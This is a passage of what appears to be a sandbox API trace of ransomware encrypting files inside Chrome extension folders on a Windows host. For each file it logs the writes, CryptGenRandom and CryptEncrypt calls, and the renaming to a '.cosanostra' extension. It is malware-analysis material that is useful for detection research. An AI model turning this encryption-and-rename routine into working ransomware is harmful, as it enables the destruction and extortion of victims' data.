dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.104] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 157 [0085.104] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.105] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.105] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf8d4, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8d4*=0xb3, lpOverlapped=0x0) returned 1 [0085.105] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.105] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf914*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8d4, lpOverlapped=0x0 | out: lpBuffer=0x2abf914*, lpNumberOfBytesWritten=0x2abf8d4*=0x4, lpOverlapped=0x0) returned 1 [0085.105] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8d4*=0x30, lpOverlapped=0x0) returned 1 [0085.105] CloseHandle (hObject=0x18c) returned 1 [0085.105] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.cosanostra")) returned 1 [0085.106] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf910 | out: pbBuffer=0x2abf910) returned 1 [0085.106] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf908*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf908*=0x30) returned 1 [0085.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.106] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 145 [0085.106] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0085.145] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.145] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x2d8, lpNumberOfBytesWritten=0x2abf8cc, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8cc*=0x2d8, lpOverlapped=0x0) returned 1 [0085.145] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.145] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf90c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8cc, lpOverlapped=0x0 | out: lpBuffer=0x2abf90c*, lpNumberOfBytesWritten=0x2abf8cc*=0x4, lpOverlapped=0x0) returned 1 [0085.145] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8cc*=0x30, lpOverlapped=0x0) returned 1 [0085.145] CloseHandle (hObject=0x18c) returned 1 [0085.146] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.cosanostra")) returned 1 [0085.146] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf910 | out: pbBuffer=0x2abf910) returned 1 [0085.146] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf908*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf908*=0x30) returned 1 [0085.146] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.146] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 156 [0085.146] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.152] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffef4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.152] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2abf8cc, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8cc*=0x10c, lpOverlapped=0x0) returned 1 [0085.152] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.152] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf90c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8cc, lpOverlapped=0x0 | out: lpBuffer=0x2abf90c*, lpNumberOfBytesWritten=0x2abf8cc*=0x4, lpOverlapped=0x0) returned 1 [0085.152] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8cc*=0x30, lpOverlapped=0x0) returned 1 [0085.152] CloseHandle (hObject=0x18c) returned 1 [0085.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0085.153] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf908 | out: pbBuffer=0x2abf908) returned 1 [0085.153] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf900*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf900*=0x30) returned 1 [0085.153] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.153] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 156 [0085.153] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.154] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.154] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2abf8c4, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8c4*=0x112, lpOverlapped=0x0) returned 1 [0085.154] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.154] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf904*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8c4, lpOverlapped=0x0 | out: lpBuffer=0x2abf904*, lpNumberOfBytesWritten=0x2abf8c4*=0x4, lpOverlapped=0x0) returned 1 [0085.154] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8c4*=0x30, lpOverlapped=0x0) returned 1 [0085.154] CloseHandle (hObject=0x18c) returned 1 [0085.155] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0085.156] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf900 | out: pbBuffer=0x2abf900) returned 1 [0085.156] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8f8*=0x30) returned 1 [0085.156] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.157] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 156 [0085.157] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.157] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.157] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2abf8bc, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8bc*=0x152, lpOverlapped=0x0) returned 1 [0085.157] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.157] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2abf8fc*, lpNumberOfBytesWritten=0x2abf8bc*=0x4, lpOverlapped=0x0) returned 1 [0085.158] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8bc*=0x30, lpOverlapped=0x0) returned 1 [0085.158] CloseHandle (hObject=0x18c) returned 1 [0085.158] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0085.160] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8f8 | out: pbBuffer=0x2abf8f8) returned 1 [0085.160] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8f0*=0x30) returned 1 [0085.160] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.160] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 156 [0085.160] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.161] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffee7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.161] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x2abf8b4, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8b4*=0x119, lpOverlapped=0x0) returned 1 [0085.161] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.161] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf8f4*, lpNumberOfBytesWritten=0x2abf8b4*=0x4, lpOverlapped=0x0) returned 1 [0085.161] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8b4*=0x30, lpOverlapped=0x0) returned 1 [0085.162] CloseHandle (hObject=0x18c) returned 1 [0085.162] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0085.164] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8f0 | out: pbBuffer=0x2abf8f0) returned 1 [0085.164] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8e8*=0x30) returned 1 [0085.164] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.164] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 159 [0085.164] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.165] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.165] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2abf8ac, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8ac*=0x108, lpOverlapped=0x0) returned 1 [0085.165] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.165] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8ac, lpOverlapped=0x0 | out: lpBuffer=0x2abf8ec*, lpNumberOfBytesWritten=0x2abf8ac*=0x4, lpOverlapped=0x0) returned 1 [0085.165] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8ac*=0x30, lpOverlapped=0x0) returned 1 [0085.165] CloseHandle (hObject=0x18c) returned 1 [0085.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0085.167] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8e8 | out: pbBuffer=0x2abf8e8) returned 1 [0085.167] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8e0*=0x30) returned 1 [0085.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.167] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 159 [0085.168] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.168] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff0a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.168] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2abf8a4, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8a4*=0xf6, lpOverlapped=0x0) returned 1 [0085.168] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.169] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf8e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8a4, lpOverlapped=0x0 | out: lpBuffer=0x2abf8e4*, lpNumberOfBytesWritten=0x2abf8a4*=0x4, lpOverlapped=0x0) returned 1 [0085.169] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8a4*=0x30, lpOverlapped=0x0) returned 1 [0085.169] CloseHandle (hObject=0x18c) returned 1 [0085.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0085.170] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf8e0 | out: pbBuffer=0x2abf8e0) returned 1 [0085.170] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf8d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf8d8*=0x30) returned 1 [0085.170] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 